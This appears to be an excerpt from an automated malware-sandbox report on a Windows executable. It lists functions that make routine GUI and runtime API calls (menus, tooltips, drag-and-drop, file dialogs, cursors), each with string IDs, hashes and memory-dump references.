                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessagePost$CtrlFocus
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 1534620443-4108050209
                                                                                                                                                  • Opcode ID: e5c32c991b5ca6252707de8ebf482154a45a931f584edf505bd4e03ae59cba12
                                                                                                                                                  • Instruction ID: 7d80af5808d25915b866e76daf530f36ef8b085de22dc1c7fc8dbb607ae8adb7
                                                                                                                                                  • Opcode Fuzzy Hash: e5c32c991b5ca6252707de8ebf482154a45a931f584edf505bd4e03ae59cba12
                                                                                                                                                  • Instruction Fuzzy Hash: 1591E1B1604301ABD710DF14D884BABB7A8FB89714F004A1EF99497391E7B4DC49CBAB
                                                                                                                                                  Function 004556F8 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 216COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DestroyWindow.USER32(?,004A83D8,?), ref: 00455800
                                                                                                                                                  • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 00455847
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$CreateDestroy
                                                                                                                                                  • String ID: ,$@U=u$tooltips_class32
                                                                                                                                                  • API String ID: 1109047481-1123148525
                                                                                                                                                  • Opcode ID: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                                                                  • Instruction ID: af4df8b80438f92fd5356fe82daba85812243c44dff517d7eb602cf52e2cfce3
                                                                                                                                                  • Opcode Fuzzy Hash: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                                                                  • Instruction Fuzzy Hash: BF719075244704AFE320DB28CC85F7B77E4EB89700F50491EFA8197391E6B5E905CB59
                                                                                                                                                  Function 004680EB Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 204windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 00468107
                                                                                                                                                  • GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
                                                                                                                                                  • GetMenuItemCount.USER32(?), ref: 00468227
                                                                                                                                                  • DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
                                                                                                                                                  • DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
                                                                                                                                                  • DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
                                                                                                                                                  • DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
                                                                                                                                                  • GetMenuItemCount.USER32 ref: 004682DC
                                                                                                                                                  • SetMenuItemInfoW.USER32 ref: 00468317
                                                                                                                                                  • GetCursorPos.USER32(00000000), ref: 00468322
                                                                                                                                                  • SetForegroundWindow.USER32(?), ref: 0046832D
                                                                                                                                                  • TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
                                                                                                                                                  • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 3993528054-4108050209
                                                                                                                                                  • Opcode ID: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                                                                                  • Instruction ID: a450cccb4b36e122d1eca3afa35c85d1e57e2007e4dd5bc50ce81cada7f4397f
                                                                                                                                                  • Opcode Fuzzy Hash: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                                                                                  • Instruction Fuzzy Hash: 3C71C070648301ABE3309B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B
                                                                                                                                                  Function 0046F2B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185windowfileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DragQueryPoint.SHELL32(?,?), ref: 0046F2DA
                                                                                                                                                    • Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                    • Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                    • Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                  • SendMessageW.USER32(?), ref: 0046F34C
                                                                                                                                                  • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
                                                                                                                                                  • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
                                                                                                                                                  • _wcscat.LIBCMT ref: 0046F3BC
                                                                                                                                                  • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
                                                                                                                                                  • SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
                                                                                                                                                  • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
                                                                                                                                                  • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
                                                                                                                                                  • DragFinish.SHELL32(?), ref: 0046F414
                                                                                                                                                  • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0046F4FC
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$Drag$Query$FileRect$ClientFinishPointProcScreenWindow_wcscat
                                                                                                                                                  • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                                                                                  • API String ID: 4085615965-3440237614
                                                                                                                                                  • Opcode ID: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                                                                  • Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
                                                                                                                                                  • Opcode Fuzzy Hash: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                                                                  • Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA
                                                                                                                                                  Function 0044B988 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 73COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __wcsicoll
                                                                                                                                                  • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                                                                                                                                                  • API String ID: 3832890014-4202584635
                                                                                                                                                  • Opcode ID: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                  • Instruction ID: bf73cd225697d97a5a257e466bf5c8c79b4efa22739c650e03c6b1f9c6e9338c
                                                                                                                                                  • Opcode Fuzzy Hash: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                  • Instruction Fuzzy Hash: 1D01616160562122FE11322A7C03BDF15898F5139AF14447BFC05F1282FF4DDA8692EE
                                                                                                                                                  Function 00466999 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 312COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 004669C4
                                                                                                                                                  • _wcsncpy.LIBCMT ref: 00466A21
                                                                                                                                                  • _wcsncpy.LIBCMT ref: 00466A4D
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                  • _wcstok.LIBCMT ref: 00466A90
                                                                                                                                                    • Part of subcall function 004142A3: __getptd.LIBCMT ref: 004142A9
                                                                                                                                                  • _wcstok.LIBCMT ref: 00466B3F
                                                                                                                                                  • _wcscpy.LIBCMT ref: 00466BC8
                                                                                                                                                  • GetOpenFileNameW.COMDLG32(00000058), ref: 00466CFE
                                                                                                                                                  • _wcslen.LIBCMT ref: 00466D1D
                                                                                                                                                  • _memset.LIBCMT ref: 00466BEE
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  • _wcslen.LIBCMT ref: 00466D4B
                                                                                                                                                  • GetSaveFileNameW.COMDLG32(00000058), ref: 00466D9E
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcslen$FileName_memset_wcscpy_wcsncpy_wcstok$OpenSave__getptd
                                                                                                                                                  • String ID: X$HH
                                                                                                                                                  • API String ID: 3021350936-1944015008
                                                                                                                                                  • Opcode ID: b06cb37d3db4ad53d3a41f94d3d7a052046d00add24c9c6de48b5fd017d77e84
                                                                                                                                                  • Instruction ID: 73e83d7ea4d12cbe09e247b0b8120e99e9ae8af51722f6ce2f45a1bbad6557a4
                                                                                                                                                  • Opcode Fuzzy Hash: b06cb37d3db4ad53d3a41f94d3d7a052046d00add24c9c6de48b5fd017d77e84
                                                                                                                                                  • Instruction Fuzzy Hash: D1C1B2715043408BC714EF65C981A9FB3E4BF84304F15892FF949AB292EB78E905CB9B
                                                                                                                                                  Function 0044920C Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 243windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
                                                                                                                                                  • SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
                                                                                                                                                  • CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
                                                                                                                                                  • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
                                                                                                                                                  • SendMessageW.USER32(?,00000402,?), ref: 0044941C
                                                                                                                                                  • SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
                                                                                                                                                  • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$CharNext
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 1350042424-2594219639
                                                                                                                                                  • Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                  • Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
                                                                                                                                                  • Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                  • Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766
                                                                                                                                                  Function 0045F48E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 226windowsleepCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 0045F4AE
                                                                                                                                                  • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
                                                                                                                                                  • SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
                                                                                                                                                  • Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: InfoItemMenu$Sleep_memset
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 1504565804-4108050209
                                                                                                                                                  • Opcode ID: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                                                                                  • Instruction ID: 9e8996cb251b45e9fd8013479734a73363ce4640cf951279a7d2fdadd0934edb
                                                                                                                                                  • Opcode Fuzzy Hash: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                                                                                  • Instruction Fuzzy Hash: E171E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A
                                                                                                                                                  Function 0045CBCC Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _wcsncpy.LIBCMT ref: 0045CCFA
                                                                                                                                                  • __wsplitpath.LIBCMT ref: 0045CD3C
                                                                                                                                                  • _wcscat.LIBCMT ref: 0045CD51
                                                                                                                                                  • _wcscat.LIBCMT ref: 0045CD63
                                                                                                                                                  • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000104,?), ref: 0045CD78
                                                                                                                                                  • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000104,?), ref: 0045CD8C
                                                                                                                                                    • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                  • GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDD0
                                                                                                                                                  • SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDE6
                                                                                                                                                  • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDF8
                                                                                                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 0045CE08
                                                                                                                                                  • _wcscpy.LIBCMT ref: 0045CE14
                                                                                                                                                  • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CE5A
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
                                                                                                                                                  • String ID: *.*
                                                                                                                                                  • API String ID: 1153243558-438819550
                                                                                                                                                  • Opcode ID: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                                                                  • Instruction ID: 4b7f18f3392d5c51d0b0bcfc25b88d1348604f1c1aa494fd035d881d108a9fe9
                                                                                                                                                  • Opcode Fuzzy Hash: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                                                                  • Instruction Fuzzy Hash: 0561E5B61043419FD731EF54C885AEBB7E4EB84305F44882FED8983242D67D998E879E
                                                                                                                                                  Function 0045510D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 115windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 00455127
                                                                                                                                                  • GetMenuItemInfoW.USER32 ref: 00455146
                                                                                                                                                  • DeleteMenu.USER32(?,?,00000000), ref: 004551B2
                                                                                                                                                  • DeleteMenu.USER32(?,?,00000000), ref: 004551C8
                                                                                                                                                  • GetMenuItemCount.USER32(?), ref: 004551D9
                                                                                                                                                  • SetMenu.USER32(?,00000000), ref: 004551E7
                                                                                                                                                  • DestroyMenu.USER32(?,?,00000000), ref: 004551F4
                                                                                                                                                  • DrawMenuBar.USER32 ref: 00455207
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow_memset
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 1663942905-4108050209
                                                                                                                                                  • Opcode ID: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                                                                  • Instruction ID: b4bdd7d0bd4ee66815c45afb4cba49e6688c1fb7c5fb2b704b87d0eb3faa17d4
                                                                                                                                                  • Opcode Fuzzy Hash: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                                                                  • Instruction Fuzzy Hash: F4413B70600A01AFD715DF24D9A8B6B77A8BF44302F40891DFD49CB292DB78EC44CBA9
                                                                                                                                                  Function 00445A77 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 73windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetParent.USER32 ref: 00445A8D
                                                                                                                                                  • GetClassNameW.USER32(00000000,?,00000100), ref: 00445AA0
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 00445AC4
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 00445AE0
                                                                                                                                                  • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445B3D
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __wcsicoll$ClassMessageNameParentSend
                                                                                                                                                  • String ID: @U=u$SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                                                                                  • API String ID: 3125838495-1428604138
                                                                                                                                                  • Opcode ID: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                  • Instruction ID: 9ea7b4bfd8e333fc3d4c3d1cc69785ca983c3453aa66f955cff8de8c622a02b1
                                                                                                                                                  • Opcode Fuzzy Hash: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                  • Instruction Fuzzy Hash: F011E9B1B40301BBFF10B6659C46EAF739CDF94759F00081BFD44E6182F6ACA9458769
                                                                                                                                                  Function 00415C25 Relevance: 22.7, APIs: 15, Instructions: 236COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __get_daylight__invoke_watson$__gmtime64_s$__getptd_noexit
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1481289235-0
                                                                                                                                                  • Opcode ID: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                  • Instruction ID: 11750150b5911b8a2d77b888e51b7102539fbc40f42687a9f62e69b5342e6946
                                                                                                                                                  • Opcode Fuzzy Hash: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                  • Instruction Fuzzy Hash: 8461B372B00B15DBD724AB69DC81AEB73E99F84324F14452FF011D7682EB78DA808B58
                                                                                                                                                  Function 00433BAC Relevance: 22.6, APIs: 15, Instructions: 79COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F89), ref: 00433BC7
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F8A), ref: 00433BDE
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F03), ref: 00433BF5
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F8B), ref: 00433C0C
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F01), ref: 00433C23
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F88), ref: 00433C3A
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F86), ref: 00433C51
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F83), ref: 00433C68
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F85), ref: 00433C7F
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F82), ref: 00433C96
